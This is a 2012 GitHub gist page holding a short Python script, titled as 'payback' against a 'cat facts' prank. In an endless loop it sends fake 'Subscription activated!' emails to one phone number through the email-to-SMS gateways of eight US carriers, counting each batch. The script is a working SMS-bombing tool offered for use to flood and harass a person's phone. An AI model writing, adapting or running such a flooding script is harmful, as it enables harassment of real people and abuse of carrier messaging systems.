Created
February 14, 2012 20:45
-
-
Save 9b/1830234 to your computer and use it in GitHub Desktop.
Quick Payback to the cat facts idioits
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import smtplib | |
import socket | |
from email.mime.text import MIMEText | |
def sendmail(user): | |
sender = "[email protected]" | |
recv = user | |
subject = "Shave it up!" | |
text = "Subscription activated!" | |
msg = MIMEText(text) | |
msg['subject'] = subject | |
msg['From'] = sender | |
msg['To'] = recv | |
server = smtplib.SMTP("localhost") | |
try: | |
server.sendmail(sender, recv, msg.as_string()) | |
server.close() | |
except smtplib.SMTPException as e: | |
print >> sys.stderr, "Unable to send email. Error: %s" % e | |
count = 0 | |
number = "##########" | |
while 1: | |
sendmail(number + "@txt.att.net") | |
sendmail(number + "@vtext.com") | |
sendmail(number + "@myboostmobile.com") | |
sendmail(number + "@messaging.nextel.com") | |
sendmail(number + "@messaging.sprintpcs.com") | |
sendmail(number + "@tmomail.net") | |
sendmail(number + "@email.uscc.net") | |
sendmail(number + "@vmobl.com") | |
count = count + 1 | |
print "= " + str(count) + " batch sent to " + number |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment